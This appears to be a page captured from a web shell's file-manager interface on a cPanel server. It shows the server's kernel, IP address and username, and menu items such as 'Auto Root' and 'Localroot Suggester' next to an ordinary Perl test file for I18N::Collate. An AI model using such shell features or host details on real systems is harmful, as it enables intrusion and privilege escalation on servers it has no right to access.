Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
dist /
I18N-Collate /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
I18N-Collate.t
828
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl # at least in the CPAN version we're sometimes called with -w, for example # during 'make test', so disable them explicitly and only turn them on again for # the deprecation test. use strict; no warnings; BEGIN { require Config; import Config; if (!$::Config{d_setlocale} || $::Config{ccflags} =~ /\bD?NO_LOCALE\b/) { print "1..0\n"; exit; } } use Test::More tests => 7; BEGIN {use_ok('I18N::Collate');} $a = I18N::Collate->new("foo"); isa_ok($a, 'I18N::Collate'); { use warnings; local $SIG{__WARN__} = sub { $@ = $_[0] }; $b = I18N::Collate->new("foo"); like($@, qr/\bHAS BEEN DEPRECATED\b/); $@ = ''; } is($a, $b, 'same object'); $b = I18N::Collate->new("bar"); unlike($@, qr/\bHAS BEEN DEPRECATED\b/); isnt($a, $b, 'different object'); cmp_ok($a lt $b, '!=', $a gt $b);